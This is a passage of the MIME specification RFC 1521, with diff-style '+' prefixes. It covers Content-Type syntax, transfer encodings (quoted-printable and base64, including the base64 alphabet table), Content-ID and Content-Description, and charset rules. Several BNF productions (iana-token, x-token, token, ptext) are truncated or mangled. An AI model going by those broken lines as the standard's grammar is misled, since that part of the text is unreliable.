the mechanism given + here. + + The Content-Type header field is used to specify the nature of the + data in the body of an entity, by giving type and subtype + identifiers, and by providing auxiliary information that may be + required for certain types. After the type and subtype names, the + remainder of the header field is simply a set of parameters, + specified in an attribute/value notation. The set of meaningful + parameters differs for the different types. In particular, there are + NO globally-meaningful parameters that apply to all content-types. + Global mechanisms are best addressed, in the MIME model, by the + definition of additional Content-* header fields. The ordering of + parameters is not significant. Among the defined parameters is a + "charset" parameter by which the character set used in the body may + be declared. Comments are allowed in accordance with RFC 822 rules + for structured header fields. + + In general, the top-level Content-Type is used to declare the general + type of data, while the subtype specifies a specific format for that + type of data. Thus, a Content-Type of "image/xyz" is enough to tell + a user agent that the data is an image, even if the user agent has no + knowledge of the specific image format "xyz". Such information can + be used, for example, to decide whether or not to show a user the raw + data from an unrecognized subtype -- such an action might be + reasonable for unrecognized subtypes of text, but not for + unrecognized subtypes of image or audio. For this reason, registered + subtypes of audio, image, text, and video, should not contain + embedded information that is really of a different type. Such + compound types should be represented using the "multipart" or + "application" types. + + Parameters are modifiers of the content-subtype, and do not + fundamentally affect the requirements of the host system. Although + most parameters make sense only with certain content-types, others + are "global" in the sense that they might apply to any subtype. For + example, the "boundary" parameter makes sense only for the + "multipart" content-type, but the "charset" parameter might make + sense with several content-types. + + + +Borenstein & Freed [Page 9] + +RFC 1521 MIME September 1993 + + + An initial set of seven Content-Types is defined by this document. + This set of top-level names is intended to be substantially complete. + It is expected that additions to the larger set of supported types + can generally be accomplished by the creation of new subtypes of + these initial types. In the future, more top-level types may be + defined only by an extension to this standard. If another primary + type is to be used for any reason, it must be given a name starting + with "X-" to indicate its non-standard status and to avoid a + potential conflict with a future official name. + + In the Augmented BNF notation of RFC 822, a Content-Type header field + value is defined as follows: + + content := "Content-Type" ":" type "/" subtype *(";" + parameter) + ; case-insensitive matching of type and subtype + + type := "application" / "audio" + / "image" / "message" + / "multipart" / "text" + / "video" / extension-token + ; All values case-insensitive + + extension-token := x-token / iana-token + + iana-token := + + x-token := + + subtype := token ; case-insensitive + + parameter := attribute "=" value + + attribute := token ; case-insensitive + + value := token / quoted-string + + token := 1* + + tspecials := "(" / ")" / "<" / ">" / "@" + / "," / ";" / ":" / "\" / <"> + / "/" / "[" / "]" / "?" / "=" + ; Must be in quoted-string, + ; to use within parameter values + + + +Borenstein & Freed [Page 10] + +RFC 1521 MIME September 1993 + + + Note that the definition of "tspecials" is the same as the RFC 822 + definition of "specials" with the addition of the three characters + "/", "?", and "=", and the removal of ".". + + Note also that a subtype specification is MANDATORY. There are no + default subtypes. + + The type, subtype, and parameter names are not case sensitive. For + example, TEXT, Text, and TeXt are all equivalent. Parameter values + are normally case sensitive, but certain parameters are interpreted + to be case-insensitive, depending on the intended use. (For example, + multipart boundaries are case-sensitive, but the "access-type" for + message/External-body is not case-sensitive.) + + Beyond this syntax, the only constraint on the definition of subtype + names is the desire that their uses must not conflict. That is, it + would be undesirable to have two different communities using + "Content-Type: application/foobar" to mean two different things. The + process of defining new content-subtypes, then, is not intended to be + a mechanism for imposing restrictions, but simply a mechanism for + publicizing the usages. There are, therefore, two acceptable + mechanisms for defining new Content-Type subtypes: + + 1. Private values (starting with "X-") may be + defined bilaterally between two cooperating + agents without outside registration or + standardization. + + 2. New standard values must be documented, + registered with, and approved by IANA, as + described in Appendix E. Where intended for + public use, the formats they refer to must + also be defined by a published specification, + and possibly offered for standardization. + + The seven standard initial predefined Content-Types are detailed in + the bulk of this document. They are: + + text -- textual information. The primary subtype, + "plain", indicates plain (unformatted) text. No + special software is required to get the full + meaning of the text, aside from support for the + indicated character set. Subtypes are to be used + for enriched text in forms where application + software may enhance the appearance of the text, + but such software must not be required in order to + get the general idea of the content. Possible + subtypes thus include any readable word processor + + + +Borenstein & Freed [Page 11] + +RFC 1521 MIME September 1993 + + + format. A very simple and portable subtype, + richtext, was defined in RFC 1341, with a future + revision expected. + + multipart -- data consisting of multiple parts of + independent data types. Four initial subtypes + are defined, including the primary "mixed" + subtype, "alternative" for representing the same + data in multiple formats, "parallel" for parts + intended to be viewed simultaneously, and "digest" + for multipart entities in which each part is of + type "message". + + message -- an encapsulated message. A body of + Content-Type "message" is itself all or part of a + fully formatted RFC 822 conformant message which + may contain its own different Content-Type header + field. The primary subtype is "rfc822". The + "partial" subtype is defined for partial messages, + to permit the fragmented transmission of bodies + that are thought to be too large to be passed + through mail transport facilities. Another + subtype, "External-body", is defined for + specifying large bodies by reference to an + external data source. + + image -- image data. Image requires a display device + (such as a graphical display, a printer, or a FAX + machine) to view the information. Initial + subtypes are defined for two widely-used image + formats, jpeg and gif. + + audio -- audio data, with initial subtype "basic". + Audio requires an audio output device (such as a + speaker or a telephone) to "display" the contents. + + video -- video data. Video requires the capability to + display moving images, typically including + specialized hardware and software. The initial + subtype is "mpeg". + + application -- some other kind of data, typically + either uninterpreted binary data or information to + be processed by a mail-based application. The + primary subtype, "octet-stream", is to be used in + the case of uninterpreted binary data, in which + case the simplest recommended action is to offer + to write the information into a file for the user. + + + +Borenstein & Freed [Page 12] + +RFC 1521 MIME September 1993 + + + An additional subtype, "PostScript", is defined + for transporting PostScript documents in bodies. + Other expected uses for "application" include + spreadsheets, data for mail-based scheduling + systems, and languages for "active" + (computational) email. (Note that active email + and other application data may entail several + security considerations, which are discussed later + in this memo, particularly in the context of + application/PostScript.) + + Default RFC 822 messages are typed by this protocol as plain text in + the US-ASCII character set, which can be explicitly specified as + "Content-type: text/plain; charset=us-ascii". If no Content-Type is + specified, this default is assumed. In the presence of a MIME- + Version header field, a receiving User Agent can also assume that + plain US-ASCII text was the sender's intent. In the absence of a + MIME-Version specification, plain US-ASCII text must still be + assumed, but the sender's intent might have been otherwise. + + RATIONALE: In the absence of any Content-Type header field or + MIME-Version header field, it is impossible to be certain that a + message is actually text in the US-ASCII character set, since it + might well be a message that, using the conventions that predate + this document, includes text in another character set or non- + textual data in a manner that cannot be automatically recognized + (e.g., a uuencoded compressed UNIX tar file). Although there is + no fully acceptable alternative to treating such untyped messages + as "text/plain; charset=us-ascii", implementors should remain + aware that if a message lacks both the MIME-Version and the + Content-Type header fields, it may in practice contain almost + anything. + + It should be noted that the list of Content-Type values given here + may be augmented in time, via the mechanisms described above, and + that the set of subtypes is expected to grow substantially. + + When a mail reader encounters mail with an unknown Content-type + value, it should generally treat it as equivalent to + "application/octet-stream", as described later in this document. + +5. The Content-Transfer-Encoding Header Field + + Many Content-Types which could usefully be transported via email are + represented, in their "natural" format, as 8-bit character or binary + data. Such data cannot be transmitted over some transport protocols. + For example, RFC 821 restricts mail messages to 7-bit US-ASCII data + with lines no longer than 1000 characters. + + + +Borenstein & Freed [Page 13] + +RFC 1521 MIME September 1993 + + + It is necessary, therefore, to define a standard mechanism for re- + encoding such data into a 7-bit short-line format. This document + specifies that such encodings will be indicated by a new "Content- + Transfer-Encoding" header field. The Content-Transfer-Encoding field + is used to indicate the type of transformation that has been used in + order to represent the body in an acceptable manner for transport. + + Unlike Content-Types, a proliferation of Content-Transfer-Encoding + values is undesirable and unnecessary. However, establishing only a + single Content-Transfer-Encoding mechanism does not seem possible. + There is a tradeoff between the desire for a compact and efficient + encoding of largely-binary data and the desire for a readable + encoding of data that is mostly, but not entirely, 7-bit data. For + this reason, at least two encoding mechanisms are necessary: a + "readable" encoding and a "dense" encoding. + + The Content-Transfer-Encoding field is designed to specify an + invertible mapping between the "native" representation of a type of + data and a representation that can be readily exchanged using 7 bit + mail transport protocols, such as those defined by RFC 821 (SMTP). + This field has not been defined by any previous standard. The field's + value is a single token specifying the type of encoding, as + enumerated below. Formally: + + encoding := "Content-Transfer-Encoding" ":" mechanism + + mechanism := "7bit" ; case-insensitive + / "quoted-printable" + / "base64" + / "8bit" + / "binary" + / x-token + + These values are not case sensitive. That is, Base64 and BASE64 and + bAsE64 are all equivalent. An encoding type of 7BIT requires that + the body is already in a seven-bit mail-ready representation. This + is the default value -- that is, "Content-Transfer-Encoding: 7BIT" is + assumed if the Content-Transfer-Encoding header field is not present. + + The values "8bit", "7bit", and "binary" all mean that NO encoding has + been performed. However, they are potentially useful as indications + of the kind of data contained in the object, and therefore of the + kind of encoding that might need to be performed for transmission in + a given transport system. In particular: + + "7bit" means that the data is all represented as short + lines of US-ASCII data. + + + + +Borenstein & Freed [Page 14] + +RFC 1521 MIME September 1993 + + + "8bit" means that the lines are short, but there may be + non-ASCII characters (octets with the high-order + bit set). + + "Binary" means that not only may non-ASCII characters + be present, but also that the lines are not + necessarily short enough for SMTP transport. + + The difference between "8bit" (or any other conceivable bit-width + token) and the "binary" token is that "binary" does not require + adherence to any limits on line length or to the SMTP CRLF semantics, + while the bit-width tokens do require such adherence. If the body + contains data in any bit-width other than 7-bit, the appropriate + bit-width Content-Transfer-Encoding token must be used (e.g., "8bit" + for unencoded 8 bit wide data). If the body contains binary data, + the "binary" Content-Transfer-Encoding token must be used. + + NOTE: The distinction between the Content-Transfer-Encoding values + of "binary", "8bit", etc. may seem unimportant, in that all of + them really mean "none" -- that is, there has been no encoding of + the data for transport. However, clear labeling will be of + enormous value to gateways between future mail transport systems + with differing capabilities in transporting data that do not meet + the restrictions of RFC 821 transport. + + Mail transport for unencoded 8-bit data is defined in RFC-1426 + [RFC-1426]. As of the publication of this document, there are no + standardized Internet mail transports for which it is legitimate + to include unencoded binary data in mail bodies. Thus there are + no circumstances in which the "binary" Content-Transfer-Encoding + is actually legal on the Internet. However, in the event that + binary mail transport becomes a reality in Internet mail, or when + this document is used in conjunction with any other binary-capable + transport mechanism, binary bodies should be labeled as such using + this mechanism. + + NOTE: The five values defined for the Content-Transfer-Encoding + field imply nothing about the Content-Type other than the + algorithm by which it was encoded or the transport system + requirements if unencoded. + + Implementors may, if necessary, define new Content-Transfer-Encoding + values, but must use an x-token, which is a name prefixed by "X-" to + indicate its non-standard status, e.g., "Content-Transfer-Encoding: + x-my-new-encoding". However, unlike Content-Types and subtypes, the + creation of new Content-Transfer-Encoding values is explicitly and + strongly discouraged, as it seems likely to hinder interoperability + with little potential benefit. Their use is allowed only as the + + + +Borenstein & Freed [Page 15] + +RFC 1521 MIME September 1993 + + + result of an agreement between cooperating user agents. + + If a Content-Transfer-Encoding header field appears as part of a + message header, it applies to the entire body of that message. If a + Content-Transfer-Encoding header field appears as part of a body + part's headers, it applies only to the body of that body part. If an + entity is of type "multipart" or "message", the Content-Transfer- + Encoding is not permitted to have any value other than a bit width + (e.g., "7bit", "8bit", etc.) or "binary". + + It should be noted that email is character-oriented, so that the + mechanisms described here are mechanisms for encoding arbitrary octet + streams, not bit streams. If a bit stream is to be encoded via one + of these mechanisms, it must first be converted to an 8-bit byte + stream using the network standard bit order ("big-endian"), in which + the earlier bits in a stream become the higher-order bits in a byte. + A bit stream not ending at an 8-bit boundary must be padded with + zeroes. This document provides a mechanism for noting the addition + of such padding in the case of the application Content-Type, which + has a "padding" parameter. + + The encoding mechanisms defined here explicitly encode all data in + ASCII. Thus, for example, suppose an entity has header fields such + as: + + Content-Type: text/plain; charset=ISO-8859-1 + Content-transfer-encoding: base64 + + This must be interpreted to mean that the body is a base64 ASCII + encoding of data that was originally in ISO-8859-1, and will be in + that character set again after decoding. + + The following sections will define the two standard encoding + mechanisms. The definition of new content-transfer-encodings is + explicitly discouraged and should only occur when absolutely + necessary. All content-transfer-encoding namespace except that + beginning with "X-" is explicitly reserved to the IANA for future + use. Private agreements about content-transfer-encodings are also + explicitly discouraged. + + Certain Content-Transfer-Encoding values may only be used on certain + Content-Types. In particular, it is expressly forbidden to use any + encodings other than "7bit", "8bit", or "binary" with any Content- + Type that recursively includes other Content-Type fields, notably the + "multipart" and "message" Content-Types. All encodings that are + desired for bodies of type multipart or message must be done at the + innermost level, by encoding the actual body that needs to be + encoded. + + + +Borenstein & Freed [Page 16] + +RFC 1521 MIME September 1993 + + + NOTE ON ENCODING RESTRICTIONS: Though the prohibition against + using content-transfer-encodings on data of type multipart or + message may seem overly restrictive, it is necessary to prevent + nested encodings, in which data are passed through an encoding + algorithm multiple times, and must be decoded multiple times in + order to be properly viewed. Nested encodings add considerable + complexity to user agents: aside from the obvious efficiency + problems with such multiple encodings, they can obscure the basic + structure of a message. In particular, they can imply that + several decoding operations are necessary simply to find out what + types of objects a message contains. Banning nested encodings may + complicate the job of certain mail gateways, but this seems less + of a problem than the effect of nested encodings on user agents. + + NOTE ON THE RELATIONSHIP BETWEEN CONTENT-TYPE AND CONTENT- + TRANSFER-ENCODING: It may seem that the Content-Transfer-Encoding + could be inferred from the characteristics of the Content-Type + that is to be encoded, or, at the very least, that certain + Content-Transfer-Encodings could be mandated for use with specific + Content-Types. There are several reasons why this is not the case. + First, given the varying types of transports used for mail, some + encodings may be appropriate for some Content-Type/transport + combinations and not for others. (For example, in an 8-bit + transport, no encoding would be required for text in certain + character sets, while such encodings are clearly required for 7- + bit SMTP.) Second, certain Content-Types may require different + types of transfer encoding under different circumstances. For + example, many PostScript bodies might consist entirely of short + lines of 7-bit data and hence require little or no encoding. + Other PostScript bodies (especially those using Level 2 + PostScript's binary encoding mechanism) may only be reasonably + represented using a binary transport encoding. Finally, since + Content-Type is intended to be an open-ended specification + mechanism, strict specification of an association between + Content-Types and encodings effectively couples the specification + of an application protocol with a specific lower-level transport. + This is not desirable since the developers of a Content-Type + should not have to be aware of all the transports in use and what + their limitations are. + + NOTE ON TRANSLATING ENCODINGS: The quoted-printable and base64 + encodings are designed so that conversion between them is + possible. The only issue that arises in such a conversion is the + handling of line breaks. When converting from quoted-printable to + base64 a line break must be converted into a CRLF sequence. + Similarly, a CRLF sequence in base64 data must be converted to a + quoted-printable line break, but ONLY when converting text data. + + + + +Borenstein & Freed [Page 17] + +RFC 1521 MIME September 1993 + + + NOTE ON CANONICAL ENCODING MODEL: There was some confusion, in + earlier drafts of this memo, regarding the model for when email + data was to be converted to canonical form and encoded, and in + particular how this process would affect the treatment of CRLFs, + given that the representation of newlines varies greatly from + system to system, and the relationship between content-transfer- + encodings and character sets. For this reason, a canonical model + for encoding is presented as Appendix G. + +5.1. Quoted-Printable Content-Transfer-Encoding + + The Quoted-Printable encoding is intended to represent data that + largely consists of octets that correspond to printable characters in + the ASCII character set. It encodes the data in such a way that the + resulting octets are unlikely to be modified by mail transport. If + the data being encoded are mostly ASCII text, the encoded form of the + data remains largely recognizable by humans. A body which is + entirely ASCII may also be encoded in Quoted-Printable to ensure the + integrity of the data should the message pass through a character- + translating, and/or line-wrapping gateway. + + In this encoding, octets are to be represented as determined by the + following rules: + + Rule #1: (General 8-bit representation) Any octet, except those + indicating a line break according to the newline convention of the + canonical (standard) form of the data being encoded, may be + represented by an "=" followed by a two digit hexadecimal + representation of the octet's value. The digits of the + hexadecimal alphabet, for this purpose, are "0123456789ABCDEF". + Uppercase letters must be used when sending hexadecimal data, + though a robust implementation may choose to recognize lowercase + letters on receipt. Thus, for example, the value 12 (ASCII form + feed) can be represented by "=0C", and the value 61 (ASCII EQUAL + SIGN) can be represented by "=3D". Except when the following + rules allow an alternative encoding, this rule is mandatory. + + Rule #2: (Literal representation) Octets with decimal values of 33 + through 60 inclusive, and 62 through 126, inclusive, MAY be + represented as the ASCII characters which correspond to those + octets (EXCLAMATION POINT through LESS THAN, and GREATER THAN + through TILDE, respectively). + + Rule #3: (White Space): Octets with values of 9 and 32 MAY be + represented as ASCII TAB (HT) and SPACE characters, respectively, + but MUST NOT be so represented at the end of an encoded line. Any + TAB (HT) or SPACE characters on an encoded line MUST thus be + followed on that line by a printable character. In particular, an + + + +Borenstein & Freed [Page 18] + +RFC 1521 MIME September 1993 + + + "=" at the end of an encoded line, indicating a soft line break + (see rule #5) may follow one or more TAB (HT) or SPACE characters. + It follows that an octet with value 9 or 32 appearing at the end + of an encoded line must be represented according to Rule #1. This + rule is necessary because some MTAs (Message Transport Agents, + programs which transport messages from one user to another, or + perform a part of such transfers) are known to pad lines of text + with SPACEs, and others are known to remove "white space" + characters from the end of a line. Therefore, when decoding a + Quoted-Printable body, any trailing white space on a line must be + deleted, as it will necessarily have been added by intermediate + transport agents. + + Rule #4 (Line Breaks): A line break in a text body, independent of + what its representation is following the canonical representation + of the data being encoded, must be represented by a (RFC 822) line + break, which is a CRLF sequence, in the Quoted-Printable encoding. + Since the canonical representation of types other than text do not + generally include the representation of line breaks, no hard line + breaks (i.e. line breaks that are intended to be meaningful and + to be displayed to the user) should occur in the quoted-printable + encoding of such types. Of course, occurrences of "=0D", "=0A", + "0A=0D" and "=0D=0A" will eventually be encountered. In general, + however, base64 is preferred over quoted-printable for binary + data. + + Note that many implementations may elect to encode the local + representation of various content types directly, as described in + Appendix G. In particular, this may apply to plain text material + on systems that use newline conventions other than CRLF + delimiters. Such an implementation is permissible, but the + generation of line breaks must be generalized to account for the + case where alternate representations of newline sequences are + used. + + Rule #5 (Soft Line Breaks): The Quoted-Printable encoding REQUIRES + that encoded lines be no more than 76 characters long. If longer + lines are to be encoded with the Quoted-Printable encoding, 'soft' + line breaks must be used. An equal sign as the last character on a + encoded line indicates such a non-significant ('soft') line break + in the encoded text. Thus if the "raw" form of the line is a + single unencoded line that says: + + Now's the time for all folk to come to the aid of + their country. + + This can be represented, in the Quoted-Printable encoding, as + + + + +Borenstein & Freed [Page 19] + +RFC 1521 MIME September 1993 + + + Now's the time = + for all folk to come= + to the aid of their country. + + This provides a mechanism with which long lines are encoded in + such a way as to be restored by the user agent. The 76 character + limit does not count the trailing CRLF, but counts all other + characters, including any equal signs. + + Since the hyphen character ("-") is represented as itself in the + Quoted-Printable encoding, care must be taken, when encapsulating a + quoted-printable encoded body in a multipart entity, to ensure that + the encapsulation boundary does not appear anywhere in the encoded + body. (A good strategy is to choose a boundary that includes a + character sequence such as "=_" which can never appear in a quoted- + printable body. See the definition of multipart messages later in + this document.) + + NOTE: The quoted-printable encoding represents something of a + compromise between readability and reliability in transport. + Bodies encoded with the quoted-printable encoding will work + reliably over most mail gateways, but may not work perfectly over + a few gateways, notably those involving translation into EBCDIC. + (In theory, an EBCDIC gateway could decode a quoted-printable body + and re-encode it using base64, but such gateways do not yet + exist.) A higher level of confidence is offered by the base64 + Content-Transfer-Encoding. A way to get reasonably reliable + transport through EBCDIC gateways is to also quote the ASCII + characters + + !"#$@[\]^`{|}~ + + according to rule #1. See Appendix B for more information. + + Because quoted-printable data is generally assumed to be line- + oriented, it is to be expected that the representation of the breaks + between the lines of quoted printable data may be altered in + transport, in the same manner that plain text mail has always been + altered in Internet mail when passing between systems with differing + newline conventions. If such alterations are likely to constitute a + corruption of the data, it is probably more sensible to use the + base64 encoding rather than the quoted-printable encoding. + + WARNING TO IMPLEMENTORS: If binary data are encoded in quoted- + printable, care must be taken to encode CR and LF characters as "=0D" + and "=0A", respectively. In particular, a CRLF sequence in binary + data should be encoded as "=0D=0A". Otherwise, if CRLF were + represented as a hard line break, it might be incorrectly decoded on + + + +Borenstein & Freed [Page 20] + +RFC 1521 MIME September 1993 + + + platforms with different line break conventions. + + For formalists, the syntax of quoted-printable data is described by + the following grammar: + + quoted-printable := ([*(ptext / SPACE / TAB) ptext] ["="] CRLF) + ; Maximum line length of 76 characters excluding CRLF + + ptext := octet / 127, =, SPACE, or TAB, + ; and is recommended for any characters not listed in + ; Appendix B as "mail-safe". + +5.2. Base64 Content-Transfer-Encoding + + The Base64 Content-Transfer-Encoding is designed to represent + arbitrary sequences of octets in a form that need not be humanly + readable. The encoding and decoding algorithms are simple, but the + encoded data are consistently only about 33 percent larger than the + unencoded data. This encoding is virtually identical to the one used + in Privacy Enhanced Mail (PEM) applications, as defined in RFC 1421. + The base64 encoding is adapted from RFC 1421, with one change: base64 + eliminates the "*" mechanism for embedded clear text. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + NOTE: This subset has the important property that it is + represented identically in all versions of ISO 646, including US + ASCII, and all characters in the subset are also represented + identically in all versions of EBCDIC. Other popular encodings, + such as the encoding used by the uuencode utility and the base85 + encoding specified as part of Level 2 PostScript, do not share + these properties, and thus do not fulfill the portability + requirements a binary transport encoding for mail must meet. + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + When encoding a bit stream via the base64 encoding, the bit stream + must be presumed to be ordered with the most-significant-bit first. + + + +Borenstein & Freed [Page 21] + +RFC 1521 MIME September 1993 + + + That is, the first bit in the stream will be the high-order bit in + the first byte, and the eighth bit will be the low-order bit in the + first byte, and so on. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. These characters, identified in Table 1, below, are + selected so as to be universally representable, and the set excludes + characters with particular significance to SMTP (e.g., ".", CR, LF) + and to the encapsulation boundaries defined in this document (e.g., + "-"). + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + The output stream (encoded bytes) must be represented in lines of no + more than 76 characters each. All line breaks or other characters + not found in Table 1 must be ignored by decoding software. In base64 + data, characters other than those in Table 1, line breaks, and other + white space probably indicate a transmission error, about which a + warning message or even a message rejection might be appropriate + under some circumstances. + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a body. When fewer than 24 input bits + are available in an input group, zero bits are added (on the right) + to form an integral number of 6-bit groups. Padding at the end of + the data is performed using the '=' character. Since all base64 + input is an integral number of octets, only the following cases can + + + +Borenstein & Freed [Page 22] + +RFC 1521 MIME September 1993 + + + arise: (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded output will be + an integral multiple of 4 characters with no "=" padding, (2) the + final quantum of encoding input is exactly 8 bits; here, the final + unit of encoded output will be two characters followed by two "=" + padding characters, or (3) the final quantum of encoding input is + exactly 16 bits; here, the final unit of encoded output will be three + characters followed by one "=" padding character. + + Because it is used only for padding at the end of the data, the + occurrence of any '=' characters may be taken as evidence that the + end of the data has been reached (without truncation in transit). No + such assurance is possible, however, when the number of octets + transmitted was a multiple of three. + + Any characters outside of the base64 alphabet are to be ignored in + base64-encoded data. The same applies to any illegal sequence of + characters in the base64 encoding, such as "=====" + + Care must be taken to use the proper octets for line breaks if base64 + encoding is applied directly to text material that has not been + converted to canonical form. In particular, text line breaks must be + converted into CRLF sequences prior to base64 encoding. The important + thing to note is that this may be done directly by the encoder rather + than in a prior canonicalization step in some implementations. + + NOTE: There is no need to worry about quoting apparent + encapsulation boundaries within base64-encoded parts of multipart + entities because no hyphen characters are used in the base64 + encoding. + +6. Additional Content-Header Fields + +6.1. Optional Content-ID Header Field + + In constructing a high-level user agent, it may be desirable to allow + one body to make reference to another. Accordingly, bodies may be + labeled using the "Content-ID" header field, which is syntactically + identical to the "Message-ID" header field: + + id := "Content-ID" ":" msg-id + Like the Message-ID values, Content-ID values must be generated to be + world-unique. + + The Content-ID value may be used for uniquely identifying MIME + entities in several contexts, particularly for cacheing data + referenced by the message/external-body mechanism. Although the + Content-ID header is generally optional, its use is mandatory in + + + +Borenstein & Freed [Page 23] + +RFC 1521 MIME September 1993 + + + implementations which generate data of the optional MIME Content-type + "message/external-body". That is, each message/external-body entity + must have a Content-ID field to permit cacheing of such data. + + It is also worth noting that the Content-ID value has special + semantics in the case of the multipart/alternative content-type. + This is explained in the section of this document dealing with + multipart/alternative. + +6.2. Optional Content-Description Header Field + + The ability to associate some descriptive information with a given + body is often desirable. For example, it may be useful to mark an + "image" body as "a picture of the Space Shuttle Endeavor." Such text + may be placed in the Content-Description header field. + + description := "Content-Description" ":" *text + + The description is presumed to be given in the US-ASCII character + set, although the mechanism specified in [RFC-1522] may be used for + non-US-ASCII Content-Description values. + +7. The Predefined Content-Type Values + + This document defines seven initial Content-Type values and an + extension mechanism for private or experimental types. Further + standard types must be defined by new published specifications. It + is expected that most innovation in new types of mail will take place + as subtypes of the seven types defined here. The most essential + characteristics of the seven content-types are summarized in Appendix + F. + +7.1 The Text Content-Type + + The text Content-Type is intended for sending material which is + principally textual in form. It is the default Content-Type. A + "charset" parameter may be used to indicate the character set of the + body text for some text subtypes, notably including the primary + subtype, "text/plain", which indicates plain (unformatted) text. The + default Content-Type for Internet mail is "text/plain; charset=us- + ascii". + + Beyond plain text, there are many formats for representing what might + be known as "extended text" -- text with embedded formatting and + presentation information. An interesting characteristic of many such + representations is that they are to some extent readable even without + the software that interprets them. It is useful, then, to + distinguish them, at the highest level, from such unreadable data as + + + +Borenstein & Freed [Page 24] + +RFC 1521 MIME September 1993 + + + images, audio, or text represented in an unreadable form. In the + absence of appropriate interpretation software, it is reasonable to + show subtypes of text to the user, while it is not reasonable to do + so with most nontextual data. + + Such formatted textual data should be represented using subtypes of + text. Plausible subtypes of text are typically given by the common + name of the representation format, e.g., "text/richtext" [RFC-1341]. + +7.1.1. The charset parameter + + A critical parameter that may be specified in the Content-Type field + for text/plain data is the character set. This is specified with a + "charset" parameter, as in: + + Content-type: text/plain; charset=us-ascii + + Unlike some other parameter values, the values of the charset + parameter are NOT case sensitive. The default character set, which + must be assumed in the absence of a charset parameter, is US-ASCII. + + The specification for any future subtypes of "text" must specify + whether or not they will also utilize a "charset" parameter, and may + possibly restrict its values as well. When used with a particular + body, the semantics of the "charset" parameter should be identical to + those specified here for "text/plain", i.e., the body consists + entirely of characters in the given charset. In particular, definers + of future text subtypes should pay close attention the the + implications of multibyte character sets for their subtype + definitions. + + This RFC specifies the definition of the charset parameter for the + purposes of MIME to be a unique mapping of a byte stream to glyphs, a + mapping which does not require external profiling information. + + An initial list of predefined character set names can be found at the + end of this section. Additional character sets may be registered + with IANA, although the standardization of their use requires the + usual IESG [RFC-1340] review and approval. Note that if the + specified character set includes 8-bit data, a Content-Transfer- + Encoding header field and a corresponding encoding on the data are + required in order to transmit the body via some mail transfer + protocols, such as SMTP. + + The default character set, US-ASCII, has been the subject of some + confusion and ambiguity in the past. Not only were there some + ambiguities in the definition, there have been wide variations in + practice. In order to eliminate such ambiguity and variations in the + + + +Borenstein & Freed [Page 25] + +RFC 1521 MIME September 1993 + + + future, it is strongly recommended that new user agents explicitly + specify a character set via the Content-Type header field. "US- + ASCII" does not indicate an arbitrary seven-bit character code, but + specifies that the body uses character coding that uses the exact + correspondence of codes to characters specified in ASCII. National + use variations of ISO 646 [ISO-646] are NOT ASCII and their use in + Internet mail is explicitly discouraged. The omission of the ISO 646 + character set is deliberate in this regard. The character set name + of "US-ASCII" explicitly refers to ANSI X3.4-1986 [US-ASCII] only. + The character set name "ASCII" is reserved and must not be used for + any purpose. + + NOTE: RFC 821 explicitly specifies "ASCII", and references an + earlier version of the American Standard. Insofar as one of the + purposes of specifying a Content-Type and character set is to + permit the receiver to unambiguously determine how the sender + intended the coded message to be interpreted, assuming anything + other than "strict ASCII" as the default would risk unintentional + and incompatible changes to the semantics of messages now being + transmitted. This also implies that messages containing + characters coded according to national variations on ISO 646, or + using code-switching procedures (e.g., those of ISO 2022), as well + as 8-bit or multiple octet character encodings MUST use an + appropriate character set specification to be consistent with this + specification. + + The complete US-ASCII character set is listed in [US-ASCII]. Note + that the control characters including DEL (0-31, 127) have no defined + meaning apart from the combination CRLF (ASCII values 13 and 10) + indicating a new line. Two of the characters have de facto meanings + in wide use: FF (12) often means "start subsequent text on the + beginning of a new page"; and TAB or HT (9) often (though not always) + means "move the cursor to the next available column after the current + position where the column number is a multiple of 8 (counting the + first column as column 0)." Apart from this, any use of the control + characters or DEL in a body must be part of a private agreement + between the sender and recipient. Such private agreements are + discouraged and should be replaced by the other capabilities of this + document. + + NOTE: Beyond US-ASCII, an enormous proliferation of character sets + is possible. It is the opinion of the IETF working group that a + large number of character sets is NOT a good thing. We would + prefer to specify a single character set that can be used + universally for representing all of the world's languages in + electronic mail. Unfortunately, existing practice in several + communities seems to point to the continued use of multiple + character sets in the near future. For this reason, we define + + + +Borenstein & Freed [Page 26] + +RFC 1521 MIME September 1993 + + + names for a small number of character sets for which a strong + constituent base exists. + + The defined charset values are: + + US-ASCII -- as defined in [US-ASCII]. + + ISO-8859-X -- where "X" is to be replaced, as necessary, for the + parts of ISO-8859 [ISO-8859]. Note that the ISO 646 + character sets have deliberately been omitted in favor of + their 8859 replacements, which are the designated character + sets for Internet mail. As of the publication of this + document, the legitimate values for "X" are the digits 1 + through 9. + + The character sets specified above are the ones that were relatively + uncontroversial during the drafting of MIME. This document does not + endorse the use of any particular character set other than US-ASCII, + and recognizes that the future evolution of world character sets + remains unclear. It is expected that in the future, additional + character sets will be registered for use in MIME. + + Note that the character set used, if anything other than US-ASCII, + must always be explicitly specified in the Content-Type field. + + No other character set name may be used in Internet mail without the + publication of a formal specification and its registration with IANA, + or by private agreement, in which case the character set name must + begin with "X-". + + Implementors are discouraged from defining new character sets for + mail use unless absolutely necessary. + + The "charset" parameter has been defined primarily for the purpose of + textual data, and is described in this section for that reason. + However, it is conceivable that non-textual data might also wish to + specify a charset value for some purpose, in which case the same + syntax and values should be used. + + In general, mail-sending software must always use the "lowest common + denominator" character set possible. For example, if a body contains + only US-ASCII characters, it must be marked as being in the US-ASCII + character set, not ISO-8859-1, which, like all the 